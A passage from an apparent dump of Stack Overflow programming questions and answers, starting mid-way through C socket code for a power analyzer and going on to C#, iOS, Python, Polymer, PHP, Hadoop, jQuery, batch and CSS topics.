( socket_connect(*s,(struct sockaddr *)&amp;saddr,sizeof(saddr)) &lt; 0 ) return 1; #if debug fprintf(stderr,"socket_connect(): done\n"); #endif return 1; } int recon(socket_t *s){ shutdownCon(*s); init(s); return 0; } void printTime(){ struct _timeb timebuffer; char *timeline; _ftime( &amp;timebuffer ); timeline = ctime( &amp; ( timebuffer.time ) ); printf( "The time is %.19s.%hu %s", timeline, timebuffer.millitm, &amp;timeline[20] ); } int main(int argc,char *argv[]) { socket_t s; char buffer[1024]; char oper[1024]; init(&amp;s); #if debug fprintf(stderr,"trying to get id from norma \n"); if ( socket_puts(s,"*IDN?") &lt; 0 ) return 1; if ( socket_gets(s,buffer) &lt; 0 ) return 1; puts(buffer); #endif //##################CONF FROM FLUKE##################### /* Bring the instrument into a default state: */ //socket_puts(s,"*RST"); /* Select three wattmeter configuration: */ //socket_puts(s,"ROUT:SYST \"3W\""); /* SYNC source = voltage phase 1: */ //socket_puts(s,"SYNC:SOUR VOLT1"); /* Set voltage range on voltage channel 1 to 300 V: */ //socket_puts(s,"VOLT1:RANG 300.0"); /* Set current channel 1 to autorange: */ //socket_puts(s,"CURR1:RANG:AUTO ON"); /* Set averaging time to 1 second: */ //socket_puts(s,"APER 1.0"); /* Select U, I, P measurement: */ //socket_puts(s,"FUNC \"VOLT1\",\"CURR1\",\"POW1:ACT\""); /* Run continuous measurements: */ //socket_puts(s,"INIT:CONT ON"); //###################################################### socket_puts(s,"SYST:KLOC REM"); socket_puts(s,"*RST"); socket_puts(s,"ROUT:SYST \"3w\""); socket_puts(s,"APER 0.025"); socket_puts(s,"INP1:COUP DC"); socket_puts(s,"FUNC \"VOLT1\",\"CURR1\",\"POW1\",\"POW1:APP\",\"POW1:ACT\",\"PHASE1\""); socket_puts(s,"INIT:CONT ON"); Delay(5.0); /* Wait 2 seconds */ int opstat = -1; while(1){ //if(opstat != -1) // recon(&amp;s); opstat = 0; while((opstat &amp; 0x400) == 0){ if(socket_puts(s,"STAT:OPER:EVEN?")==-1){ recon(&amp;s); continue; } memset(oper,0,sizeof(oper)); if(socket_gets(s,oper) == -1){ recon(&amp;s); continue; } opstat = atoi(oper); } if(socket_puts(s,"DATA?") == -1){/* Query the measurement */ recon(&amp;s); continue; } memset(buffer,0,sizeof(buffer)); /* Clear buffer */ if(socket_gets(s,buffer) == -1){/* read values */ recon(&amp;s); continue; } puts(buffer); /* Print the value on the screen */ //Delay(1.0); /* Wait 2 seconds */ printTime(); } return 0; } /**************************************************************************** **/ </code></pre> <p>best regards baot</p>
20522185	0	 <p>You dont need to make properties manually. Just go through the wizard for making a crystal report. It will manage all thing all that need is proper connection with DB and selection of tables.</p> <p><a href="http://www.youtube.com/watch?v=5C9fwFyJQxQ" rel="nofollow">I think video will help full</a></p>
33109710	0	 <p>There are several ways to achieve what you want as the other answers point out. If you want a bit of safety checking then I'd use <code>TryParse</code>:</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; public class Program { public static void Main() { var test = "1 2 3 x"; var values = test.Split(new [] {' '}, StringSplitOptions.RemoveEmptyEntries); var results = new List&lt;int&gt;(); foreach(var value in values) { int x; if(Int32.TryParse(value, out x)) { results.Add(x); } else { Console.WriteLine("{0} is not an integer", value); } } } } </code></pre>
20934928	0	changing storyboard after UIAlert button pressed <p>I want to change to the main menu after clicking main menu at the game over UIAlert</p> <p>trying this:</p> <pre><code> -(void)gameOver { UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Time's up!" message:[NSString stringWithFormat:@"You've scored: %i points!", scoreCounter] delegate:self cancelButtonTitle:nil otherButtonTitles:@"Submit to Leaderboards",@"Play Again",@"Main Menu", nil]; [alert show]; } -(void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex { if (buttonIndex == 1) { [self toMain]; } if (buttonIndex == 2) { [self toMain]; } if (buttonIndex == 3) { [self toMain]; } } -(void)toMain { mainMenu *main = [[mainMenu alloc] initWithNibName:nil bundle:nil]; [self presentViewController:main animated:YES completion:NULL]; } </code></pre> <p>does nothing at all...</p> <p>EDIT</p> <p>fixed the button index, now facing a black screen after [self toMain]</p>
32998118	1	cursor.fetchmany vs DECLARE BINARY CURSOR and FETCH <p>I am not sure which is the most effective or the disadvantages/advantages of each approach or whether they are technically the same thing ?</p> <p>That is </p> <pre><code>cursor.execute("DECLARE super_cursor BINARY CURSOR FOR SELECT names FROM myTable") while True: cursor.execute("FETCH 1000 FROM super_cursor") rows = cursor.fetchall() </code></pre> <p>as expressed in the answer given by alecxe <a href="http://stackoverflow.com/questions/17933344/python-postgres-can-i-ftechall-1-million-rows">python postgres can I ftechall() 1 million rows?</a></p> <p>In comparison to: </p> <pre><code>while True: results = cursor.fetchmany(1000) if not results: break for result in results: yield result </code></pre> <p>Should one use fetchmany as specified in psycopg2 or DECLARE BINARY.</p> <p>I Have assumed that fetchmany and DECLARE BINARY both setup a temporary table on the database server side... The client side is an Apache server.</p> <p>The website I am working with does calculations on user input to that of data in the database... Hence needs to load large amounts of data for pattern matching. </p> <p>Thank you.</p>
31151137	0	How to add a click listener to polymer custom element's child? <p>I am trying to add a click listener to one of the buttons inside a custom element in the <strong>"created"</strong> life cycle callback (even tried <strong>"ready"</strong> callback with same result).</p> <p>I am thrown with the error "button element is undefined/null". </p> <hr> <p><strong>Note:</strong></p> <p>a. I cannot add a click listener for the whole custom component like this. </p> <pre><code> listeners: { 'click': '_onClick' }, </code></pre> <p>I just need to add a listener to the button. How to get this simple thing? Sorry I am sounding naive. </p> <p>b. Cannot do inline script because of CSP restriction</p> <pre><code>&lt;paper-button id='saveBtn' on-click="handleClick"&gt; Save &lt;/paper-button&gt; </code></pre> <hr> <p><strong>Error Msg:</strong></p> <blockquote> <p>Uncaught TypeError: Cannot read property 'addEventListener' of null</p> <p>Polymer.created @ elements-imports.csp.js:10596Polymer.Base._addFeature._invokeBehavior @ elements-imports.csp.js:267Polymer.Base._addFeature._doBehavior @ elements-imports.csp.js:262Polymer.Base.createdCallback @ elements-imports.csp.js:97Polymer.Base._addFeature.instanceTemplate @ elements-imports.csp.js:535Polymer.Base._addFeature._stampTemplate @ elements-imports.csp.js:531Polymer.Base._addFeature._initFeatures @ elements-imports.csp.js:4627Polymer.attached @ elements-imports.csp.js:5612Polymer.Base._addFeature._invokeBehavior @ elements-imports.csp.js:267Polymer.Base._addFeature._doBehavior @ elements-imports.csp.js:262Polymer.Base.attachedCallback @ elements-imports.csp.js:102Polymer.Base._addFeature.attachedCallback @ elements-imports.csp.js:603Polymer.Base._addFeature._readySelf @ elements-imports.csp.js:591(anonymous function) @ elements-imports.csp.js:5554Polymer.ImportStatus._importsLoaded @ elements-imports.csp.js:5553(anonymous function) @ elements-imports.csp.js:5564checkDone @ webcomponents-lite.js:968watchImportsLoad @ webcomponents-lite.js:990(anonymous function) @ webcomponents-lite.js:939whenDocumentReady @ webcomponents-lite.js:957checkReady @ webcomponents-lite.js:952</p> </blockquote> <hr> <p><strong>Custom Element:</strong></p> <pre><code>&lt;dom-module id="my-form"&gt; &lt;template&gt; &lt;div&gt; &lt;paper-input id="inputName" label="Name" required error-message="Required Input"&gt; Name &lt;/paper-input&gt; &lt;paper-input id="inputServer" label="Server URL" required error-message="Required Input"&gt; Server &lt;/paper-input&gt; &lt;paper-input id="inputUsername" label="Username" required error-message="Required Input"&gt;Username&lt;/paper-input&gt; &lt;paper-input id="inputPassword" label="Password" type="password" required error-message="Required Input" value=""&gt;Password&lt;/paper-input&gt; &lt;div class="rows layout horizontal right-justified certificate"&gt; &lt;paper-button id='cancelBtn' tabindex="0"&gt;Cancel&lt;/paper-button&gt; &lt;paper-button id='saveBtn' tabindex="0"&gt;Save&lt;/paper-button&gt; &lt;/div&gt; &lt;/div&gt; &lt;/template&gt; &lt;/dom-module&gt; &lt;script&gt; Polymer({ is: 'my-form', created: function() { var saveBtn = document.querySelector('#saveBtn'); saveBtn.addEventListener('click', function() { document.getElementById('inputName').validate(); document.getElementById('inputServer').validate(); document.getElementById('inputUsername').validate(); document.getElementById('inputPassword').validate(); }); }, }); </code></pre>
32798860	0	 <p>You set the <code>android:onClick</code> in the xml attribute which will invoke your <code>next</code> method, and you <code>setOnClickListener</code> again in your <code>next</code>, so the first time you click the imageView, the <code>mp.start()</code> will not be invoked.</p> <pre><code>MediaPlayer mp = null; public void next (View view) { if (mp != null) { mp.stop(); mp.release(); } mp = MediaPlayer.create(this, R.raw.dry); mp.start(); } </code></pre>
38426100	0	php, regex preg_match a specific word 0 or 1 time <p>I want to match a string with the words of another string, keeping the order:</p> <pre><code>$string_original = "Number three is good, then two and one."; $match_string = "three two one"; $result = magic_function($string_original,$match_string); </code></pre> <p>I want the result to be</p> <pre><code>$result = array(0 =&gt; 'three', 1 =&gt; 'two', 2 =&gt; 'one'); </code></pre> <p>Because all the words in the match string are found in the original ordered. An other example:</p> <pre><code>$string_original = "two is a magic number, one also and three"; $match_string = "three two one"; $result = magic_function($string_original,$match_string); //RESULT WOULD BE $result = array(0 =&gt; 'three'); //LAST EXAMPLE $string_original = "three one, then two!"; $match_string = "three two one"; $result = magic_function($string_original,$match_string); //RESULT WOULD BE $result = array(0 =&gt; 'three', 1 =&gt; 'two'); </code></pre> <p>My magic_function is something like</p> <pre><code>function magic_function($origin,$match){ $exploded = explode(' ',$match); $pattern = '/'; foreach ($exploded as $word){ $pattern .= '';//I NEED SOMETHING TO PUT HERE, BUT MY REGEX IS PRETTY BAD AND I DON'T KNOW } $pattern .= '/'; preg_match($pattern,$origin,$matches); return $matches; } </code></pre> <p>Any help with the regex part? Thank you.</p>
16813495	0	Get an element at a specific index from a NavigableSet <p>I have a <code>NavigableSet</code> and I would like to get its median object.</p> <p>Being that it's a <code>NavigableSet</code>, I know it's sorted, and thus I know that the median of it is either the middle element, or the arithmetic middle of the two middle elements.</p> <p>Therefore I would like to access the element at <code>set.size() / 2</code>, but the <code>NavigableSet</code> interface doesn't allow me to.</p> <p>Is there an easy way to get the specific element without having to iterate through the set manually?</p>
11858853	0	 <p>Set the property <code>IsReadOnly=True</code></p>
3759745	0	 <blockquote> <p>"The dictionary passed in, is constantly increasing in size"</p> </blockquote> <p>Do you mean that it's being modified while you're executing this code? That's a no-no. I suspect the <code>ToList</code> call is failing due to this. (After <code>ToList()</code> has executed, the list should be effectively separate from the dictionary.)</p> <p>Basically <code>Dictionary&lt;TKey, TValue&gt;</code> doesn't support concurrent reading and writing. You might want to look at <a href="http://msdn.microsoft.com/en-us/library/dd287191.aspx" rel="nofollow noreferrer"><code>ConcurrentDictionary&lt;,&gt;</code></a> which allows you to iterate over it while another thread is writing.</p> <p>One suggestion to improve performance when it's all working: call <code>side.ToString()</code> <em>once</em> at the start of the method, instead of on every single loop iteration.</p>
22181920	0	How to call Angular's internal email validation method <p>Is it possible to call Angular's internal email validation method from JavaScript rather than declarative in the markup?</p> <p>Thank you.</p> <p><em>EDIT:</em></p> <p>To answer all, the reason I am looking for this is so that email validation is consistent when using both the normal <code>&lt;input type="email"/&gt;</code> validation as well as when using programmatic validation.</p>
6514515	0	 <p>This may not work in your scenario, but you can invoke a method from a binding using an ObjectDataProvider. Here's a quick example:</p> <pre><code>&lt;Window.Resources&gt; &lt;local:StringToDoubleConverter x:Key="stringToDouble" /&gt; &lt;local:MyObject x:Key="objInstance" /&gt; &lt;ObjectDataProvider x:Key="odp" ObjectInstance="{StaticResource objInstance}" ObjectMethod="MyMethod" &gt; &lt;ObjectDataProvider.MethodParameters&gt; &lt;sys:Double&gt;0&lt;/sys:Double&gt; &lt;/ObjectDataProvider.MethodParameters&gt; &lt;/ObjectDataProvider&gt; &lt;/Window.Resources&gt; </code></pre> <p>Now, an element in your view, say a TextBox can bind to the method parameter:</p> <pre><code>&lt;TextBox Text={Binding Source={StaticResource odp}, Path=MethodParameters[0], UpdateSourceTrigger=PropertyChanged, Converter={StaticResource stringToDouble}} /&gt; </code></pre> <p>The method return value can then be used in a binding elsewhere:</p> <pre><code>&lt;Label Content="{Binding Source={StaticResource odp}}" ContentStringFormat="Method returned: {0}" /&gt; </code></pre> <p>Again, this may not work in your scenario, but it does illustrate a way to pass a parameter to a method and use the return value entirely in XAML. Here's a resource for more information: <a href="http://bea.stollnitz.com/blog/?p=22" rel="nofollow">http://bea.stollnitz.com/blog/?p=22</a></p>
27995808	0	 <p>Yes, it is possible to do so.</p> <p><strong>CAUTION:</strong> Proceed at your own risk. Writing block placement strategy is extremely complicated and risky. It's seems a code smell that your apps need to determine how replicas are placed. Think about if you really really need to write block placement strategies. Having warned you, proceed if you want to know how to accomplish this. Typically this feature is used to control how well balanced a cluster is. E.g. one of the strategies that was built by one of the Hadoop vendors is to place blocks on the disk with the lowest percentage disk used.</p> <p>Here's a bunch of resources for you to check out:</p> <ol> <li>SO post with the same problem: <a href="http://stackoverflow.com/questions/14494179/modifying-the-block-placement-strategy-of-hdfs">Modifying the block placement strategy of HDFS</a></li> <li>Another SO: <a href="http://stackoverflow.com/questions/13129599/how-does-hdfs-choose-a-datanode-to-store">how does hdfs choose a datanode to store</a></li> <li>Blog from 2009 when the feature was first released: <a href="http://hadoopblog.blogspot.com/2009/09/hdfs-block-replica-placement-in-your.html" rel="nofollow">http://hadoopblog.blogspot.com/2009/09/hdfs-block-replica-placement-in-your.html</a></li> </ol>
38981461	0	 <p>I suggest you to create json object from your vars and pass it as argument, something like:</p> <pre><code>&lt;button id="modalBtn" type="button" onclick="ShowProduct(&lt;?php echo json_encode(array($title, $description, $img))?&gt;);"&gt; View Details &lt;/button&gt; </code></pre> <p>Or (for more readable keys)</p> <pre><code>&lt;button id="modalBtn" type="button" onclick="ShowProduct(&lt;?php echo json_encode(array('title' =&gt; $title, 'descr' =&gt; $description, 'img' =&gt; $img))?&gt;);"&gt; View Details &lt;/button&gt; </code></pre> <p>And your <code>ShowProduct</code> function you can define like:</p> <pre><code>function ShowProduct(params) { console.log( params ); // do other stuff } </code></pre> <p><strong>Update:</strong></p> <p>if your vars are already in array you can:</p> <pre><code>// pass this array: ShowProduct(&lt;?php echo json_encode($your_array)?&gt;) // fill new array with required keys only ShowProduct(&lt;?php echo json_encode(array($your_array['title'], $your_array['description'], $your_array['img']))?&gt;) </code></pre>
24856520	0	 <p>Use explode() and return the second index.</p> <p>Example: </p> <pre><code>$parts = explode(' ', shell_exec('git --version')); return $parts[2]; </code></pre>
11540937	0	ActionScript 3 MouseEvent run once <p>What I want to do is to run once my over listener function. The problem is that once I do a mouse over into my movie clip "button", it enters a new loop again and again. How can I make it run <strong>only</strong> once, when the tween event is completed ?</p> <pre><code>import fl.transitions.Tween; import fl.transitions.easing.*; import fl.transitions.TweenEvent; function Over (e:MouseEvent):void { trace('Over'); var myTweenUp:Tween = new Tween(button, "y", Back.easeOut, 200, 180, 2, true); } function Out (e:MouseEvent):void { trace('Out'); var myTweenDown:Tween = new Tween(button, "y", Back.easeOut, 180, 200, 2, true); } button.addEventListener(MouseEvent.MOUSE_OVER, Over); button.addEventListener(MouseEvent.MOUSE_OUT, Out); </code></pre>
38580497	0	Cocos2d-x 3.1 Following player with scale <p>I'm making an isometric game using cocos2d-x. I use cocos2d::Follow to make the camera follows my player (player is always at the center of screen). <br/> Everything work fine but when I scale my tilemap, the camera does not follow my player like what I want (player is not at the center of screen). The camera behaves like it still follows my player in original scale.<br/> How can I make the camera to follow my player properly?</p> <p>Note:<br/> I'm using TMXTileMap and add player's sprite as a child of map node. My code is as below<br/> </p> <pre><code>tileMap = new TMXTiledMap(); tileMap-&gt;initWithTMXFile("tiles/TileMap.tmx"); tileMap-&gt;setAnchorPoint(Vec2(0.5, 0.5)); tileMap-&gt;setPosition(visibleSize.width / 2, visibleSize.height / 2); int mapWidth = tileMap-&gt;getMapSize().width * tileMap-&gt;getTileSize().width; int mapHeight = tileMap-&gt;getMapSize().height * tileMap-&gt;getTileSize().height; float scale = visibleSize.width * 3 / mapWidth; tileMap-&gt;setScaleX(scale); tileMap-&gt;setScaleY(scale); this-&gt;addChild(tileMap, -1, kTagTileMap); sprite = Sprite::create("player.png"); Vec2 coord = Vec2(tileMap-&gt;getContentSize().width / 2, tileMap-&gt;getContentSize().height / 2); tileMap-&gt;addChild(sprite, (int)tileMap-&gt;getChildren().size()); camera = Follow::createWithOffset(sprite, offX, offY, boundary); tileMap-&gt;runAction(camera); </code></pre>
6313489	0	Where to start for a web application? <p>I want to start and learn coding to create a web application. I have experience in Java, C, Lisp, and Perl. I heard node.js is good to learn.<br> Can anyone suggest a good place to start?</p>
4604771	0	SQL Server Stored Procedure Compile-time Validation <p>Does anyone know how to get compile time validation of parameters being passed to a stored procedure. Example If Proc1 calls Proc2 but specifies an invalid parameter name for Proc2. Currently I find out at run-time. Is there a way to find out when I'm creating Proc1?</p> <p>Thanks much, Tom</p>
31448411	0	 <p>So I figure it out! I was creating a new instance of myClass => <code>new MyClass()</code> thus the injection couldn't work! So I injected the MyClass() instead of creating a new instance and bound it in the ApplicationConfig. This worked fine.</p>
40633713	0	 <p>One can do it exactly like in iOS: </p> <pre><code>let str = String.init(format: NSLocalizedString("TEST", comment:" "), 3) modularLargeTemplate.body1TextProvider = CLKSimpleTextProvider(text: str, shortText: str) </code></pre> <p>where the <code>Localizable.strings</code> file contains an entry </p> <pre><code>"TEST" = "Available: %i"; </code></pre> <p>This works, if <code>Localizable.strings</code> is target of the iOS app, and the watch extension.<br> However, I don’t know how to do the same with <code>CLKSimpleTextProvider.localizableTextProvider(withStringsFileTextKey: „TEST“)</code>.<br> Actually, I cannot imagine why a <code>localizableTextProvider</code> exists at all, if it cannot be used together with run time arguments (apparently), and does not provide any advantage (apparently) compared to the solution above.</p>
13954991	0	jQuery Collapsible Panel <p>ASP.Net, 2.0 VS2005, .Net 2.0 jQuery 1.8.3, jQuery UI 1.9.2</p> <p>I have two panels (more will come later on) on my form that can be open or closed at the users request.</p> <p>i am using the jQuery '.slideToggle' method.</p> <p>This is my markup</p> <pre><code>&lt;div class="trigger0"&gt;Collapsible Header 1 - Click to toggle&lt;/div&gt; &lt;div class="panel0"&gt; content 1 &lt;/div&gt; &lt;div class="trigger1"&gt;Collapsible Header 2 - Click to toggle&lt;/div&gt; &lt;div class="panel1"&gt; content 2 &lt;/div&gt; </code></pre> <p>The following works fine</p> <pre><code>$(document).ready(function() { $(".trigger0").click(function(){ $(".panel0").slideToggle("medium"); }); $(".trigger1").click(function() { $('.panel1').slideToggle("medium"); }); }); </code></pre> <p>but this doesn't</p> <pre><code>$(document).ready(function() { for (var vReportSectionCount = 0; vReportSectionCount &lt; 2; vReportSectionCount++) { $(".trigger" + vReportSectionCount).click(function(){ $(".panel" + vReportSectionCount).slideToggle("medium"); }); } }); </code></pre> <p>As i dont yet know how many panels will finally exist i dont want to have to write a new line for every panel. Can someone explain to me why and propose a better solution?</p>
7021593	0	Memory leak when using SWFLoader in Adobe AIR <p>I'm trying to load windowed sub-application in another windowed application, The requirement is to replace one loaded application with another on user action. </p> <p>I tried the documented method of <code>unloadAndStop</code>() on the <code>swfLoader</code> in the main windowed application, but somehow during memory profiling I could see the instances of those applications were maintained in the memory even after explicitly running garbage collection.</p> <p>Where as If I make those windowed application as modules, and then try to load them using the Moduleloader things work smoothly and unloaded modules are removed from memory.</p> <p>Any one faced the same issue before ?</p>
39617831	0	How to invert drag rotation in A-Frame? <p><em>A simple question. I used 4-6 hours to finding this but not found.</em></p> <p>Example, Im building a <strong>panorama viewer</strong> : <code>&lt;a-sky&gt;</code></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="false" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://aframe.io/releases/0.3.0/aframe.min.js"&gt;&lt;/script&gt; &lt;a-scene&gt; &lt;a-sky src="https://aframe.io/aframe/examples/boilerplate/panorama/puydesancy.jpg" rotation="0 -130 0"&gt;&lt;/a-sky&gt; &lt;/a-scene&gt;</code></pre> </div> </div> </p> <p>How to <strong>invert roation by drag mouse</strong> ? <em>(Left to right , right to left - something like this)</em></p>
8136517	0	 <p>You can keep the uur and minuut values in a variable.Then get it formulated.</p> <pre><code>declare @hr int declare @mint int set @hr = SUM(dbo.kbpres.uur) set @mint = SUM(dbo.kbpres.minuut) SELECT (@hr*60 + @mint) / 60 as hours, (@hr*60 + @mint) % 60 as minutes </code></pre> <p>I think this will solve the prob please check</p>
9310680	0	 <p>You don't have UINavigationController into your pop-up, so it works normal. Change it to support navigation like this:</p> <pre><code>//build our custom popover view BookSelectionview* popoverContent = [[BookSelectionview alloc] init]; UINavigationController *navigationController = [[[UINavigationController alloc] initWithRootViewController:popoverContent] autorelease]; //resize the popover view shown //in the current view to the view's size popoverContent.contentSizeForViewInPopover = CGSizeMake(500, 600); //create a popover controller self.popoverController = [[UIPopoverController alloc] initWithContentViewController:navigationController]; </code></pre>
34647535	0	What does force unwrapped mean in an expected argument type? <p>Here is my line of code in Swift, it calls a method:</p> <pre><code>networkManager.postUserProfile(self, onSuccess: {(username: String, userID: NSNumber, recommendedLessons: [AnyObject]) -&gt; Void in ... code block }, onFailure: {(error: NSError) -&gt; Void in ... another code block }) </code></pre> <p>The <code>networkManager</code> class is from Objective-C and is:</p> <pre><code>- (void)postUserProfile:(Profile *)profile onSuccess:(void(^)(NSString *username, NSNumber *userID, NSArray *recommendedLessons))successBlock onFailure:(void(^)(NSError *error))failureBlock; </code></pre> <p>And the error message is:</p> <blockquote> <p>error: cannot convert value of type <code>(String, NSNumber, [AnyObject]) -&gt; Void</code> to expected argument type <code>((String!, NSNumber!, [AnyObject]!) -&gt; Void)!</code></p> </blockquote> <p>When calling a method, I understand that the <code>!</code> operator will force-unwrap an optional. However in this situation, what is the meaning of the <code>!</code> in the expected argument type?</p>
15913062	0	 <p>The following code snippet illustrate an example of usage and creation of an OWL expression using the OWL API (taken and adapted from <a href="https://code.google.com/p/elk-reasoner/wiki/QueryingComplexClasses" rel="nofollow">there</a>):</p> <pre><code>//OWL Expression we would like to create: //in OWL Functional syntax: ObjectIntersectionOf(A ObjectSomeValuesFrom(R B)) //in Manchester syntax: A and R some B PrefixManager pm = new DefaultPrefixManager("http://example.org/"); OWLClass A = factory.getOWLClass(":A", pm); OWLObjectProperty R = factory.getOWLObjectProperty(":R", pm); OWLClass B = factory.getOWLClass(":B", pm); //The expression OWLClassExpression expression = factory.getOWLObjectIntersectionOf(A, factory.getOWLObjectSomeValuesFrom(R, B)); //Create a class in order to use the expression OWLClass C = factory.getOWLClass(":C", pm); // Declare an equivalentClass axiom //Just there to show how an example on how to use the expression OWLAxiom definition = factory.getOWLEquivalentClassesAxiom(C, expression); manager.addAxiom(ontology, definition); </code></pre>
4604794	0	Creating a simple li slider (infinate or with 'rewind'/stop) <p>So far I've got scrolling list items on click using the code below:</p> <pre><code>$('li#news-back').click(function(){ $('li.news-item').animate({ left : '-=960px' }); //$('li.news-item:first').insertAfter('li.news-item:last'); }); $('li#news-forward').click(function(){ $('li.news-item').animate({ left : '+=960px' }); //$('li.news-item:last').inserBefore('li.news-item:first'); }); </code></pre> <p>Each list item is 960px wide , items are floated left and only one item is shown in the container at any given time. Clicking back for forward will animate the li by their width making the next or previous visible..</p> <p>The problem is that for now there are 4 items. So I either need to add the first item to the end or the list or the last to the beginning of the list when clicked as the code I've commented out. </p> <p>Watching this in firebug it seems to be rearranging the content as I hoped but it's not working so within the browser (getting some very odd results - jumping to the 3rd when the second should be visible etc).</p> <p>The other solution perhaps would be to use an if statement to say (was we're manipulating the left property) - when back is click if left = 0 do nothing or alert there are no more in the list - then if forward is click to say if left = 2880 do nothing as you'll be at the end of the list..</p> <p>Any pointers greatly appreciated.</p>
13206301	0	 <p>Serkan is right.</p> <p>From the first paragraph on <a href="http://codex.wordpress.org/Function_Reference/fetch_feed" rel="nofollow">http://codex.wordpress.org/Function_Reference/fetch_feed</a></p> <blockquote> <p>Retrieves an external feed and parses it. Uses the SimplePie and FeedCache functionality for retrieval and parsing and automatic caching.</p> </blockquote>
23385664	0	 <p>This happens if the user is not in the current session or if the accesstoken is expired You can try by just using the logout url instead of destroying session before the logouturl.</p> <p>This is for testing : While redirecting make sure that the $facebook->getuser() is not returning 0 and access token exists.</p> <p>This happened for me a 6 months back i have done the same thing(making sure that fb session not destroyed before logging out the user) it worked</p>
5248321	0	Have TouchJSON return mutable objects? <p>I am receiving some json from a web service. I parse this using the TouchJSON library. I keep the data around for the user to change certain values and then I want to return it to the web service.</p> <p>The JSON object I get contains NSDictionary Objects within the object, like this:</p> <pre><code>[ { "id": null, "created_at": 12332343, "object": { "name": "Some name", "age" : 30 }, "scope": "it stuff", "kind_id": 1, "valid": true, "refering_statement": { "id": 95 }, "user": { "id": 1 } } ] </code></pre> <p>If I want to change values in this dictionary, I can't because the returned objects from TouchJSON are not mutable. </p> <p><strong>Is there a way to have have TouchJSON return mutable objects?</strong> </p> <p><strong>or is there a way to have Objective C make an NSDictionary and all its children mutable?</strong></p> <p>or do I have to just go through every NSDictionary in NSDictionary and copy all data into a mutable copy and then reinsert everything?</p> <p>Hope someone can help me out on this one:) thanks in advance.</p>
7798341	0	 <p>The decision of whether to override the method or use the event handler often times comes down to how much control you need to have over what happens during the execution of that method. Overriding the method gives you full control of the method, whereas the event handler only runs after the method has executed. </p> <p>If you need a high level of control over what happens during that method, I would advise overriding the method. If you simply need to run some code after execution of the method, I would use the event handler.</p> <pre><code>protected override void OnDeactivated(EventArgs e) { //run some code before execution (anything that could effect execution) //call the base method and fire the event base.OnDeactivated(e); //run some code after execution } </code></pre>
34223386	0	 <p><em><a href="http://ss64.com/nt/set.html" rel="nofollow">The <code>CALL SET</code> syntax</a> allows a <a href="http://ss64.com/nt/syntax-substring.html" rel="nofollow">variable substring</a> to be evaluated, the <a href="http://ss64.com/nt/call.html" rel="nofollow">CALL page</a> has more detail on this technique, in most cases a better approach is to use <a href="http://ss64.com/nt/delayedexpansion.html" rel="nofollow"><code>Setlocal EnableDelayedExpansion</code></a></em>. </p> <p>Command line (note that all <code>%</code> percent signs are <a href="http://ss64.com/nt/syntax-esc.html" rel="nofollow">escaped</a> as <code>^%</code> and that <code>&gt;</code> and <code>&amp;</code> characters are escaped within a pair of <code>"</code> double quotes:</p> <pre><code>set "zeroThroughNine=call set /a number=^%Random^% ^% 10&gt;nul &amp; call echo number=^%number^%" %zeroThroughNine% for /L %G in (1, 1, 10) do @%zeroThroughNine% </code></pre> <p>Batch script, <strong><code>CALL</code> method</strong> (note that all <code>%</code> percent signs are escaped as <code>%%</code>):</p> <pre><code>@echo OFF SETLOCAL set "_zeroThroughNine=call set /a _number=%%Random%% %%%% 10 &amp; call echo number=%%_number%%" echo check variables set _ echo output %_zeroThroughNine% for /L %%G in (1,1,10) do %_zeroThroughNine% echo check variables after evaluating set _ ENDLOCAL </code></pre> <p>Batch script, <strong><code>EnableDelayedExpansion</code> only for output</strong>:</p> <pre><code>@echo OFF SETLOCAL EnableExtensions DisableDelayedExpansion set "_zeroThroughNine=set /a _number=!Random! %% 10 &amp; echo Number=!_number!" SETLOCAL EnableDelayedExpansion echo check variables set _ echo output %_zeroThroughNine% for /L %%G in (1,1,10) do %_zeroThroughNine% echo check variables after evaluating set _ ENDLOCAL ENDLOCAL </code></pre> <p>Batch script, <strong><code>EnableDelayedExpansion</code> script wide</strong> (note that <code>!</code> exclamation sign is escaped as <code>^!</code>):</p> <pre><code>@echo OFF SETLOCAL EnableExtensions EnableDelayedExpansion set "_zeroThroughNine=set /a _number=^!Random^! %% 10 &amp; echo NUMBER=^!_number^!" echo check variables set _ echo output %_zeroThroughNine% for /L %%G in (1,1,10) do %_zeroThroughNine% echo check variables after evaluating set _ ENDLOCAL </code></pre>
7912440	0	 <p>You can use a separate div, and do some tricks using paddings and margins. </p> <p>In the fiddle, the blue div is the 'Mid' div, and the red div is the content div. They still have the same side and position. The green div is a trick, and is lowered 170px. Now, when you give the green div a background instead of mMid, the background should be lowered 170px relative to the content div.</p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#mMid { width:1001px; border: 1px solid blue; padding-top: 170px; } #mTrick { border: 1px solid green; background:url(/images/mMid.png) top left repeat-y; } #mBot { background:url(/images/mBot.png) bottom left no-repeat; /* width: 1001px; not needed. It will borrow the size from it's parent */ border: 1px solid red; margin-top: -170px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="mMid"&gt; &lt;div id="mTrick"&gt; &lt;div id="mBot"&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; Content&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p><a href="http://jsfiddle.net/GolezTrol/N3z8S/1/" rel="nofollow">Or view jsFiddle</a></p>
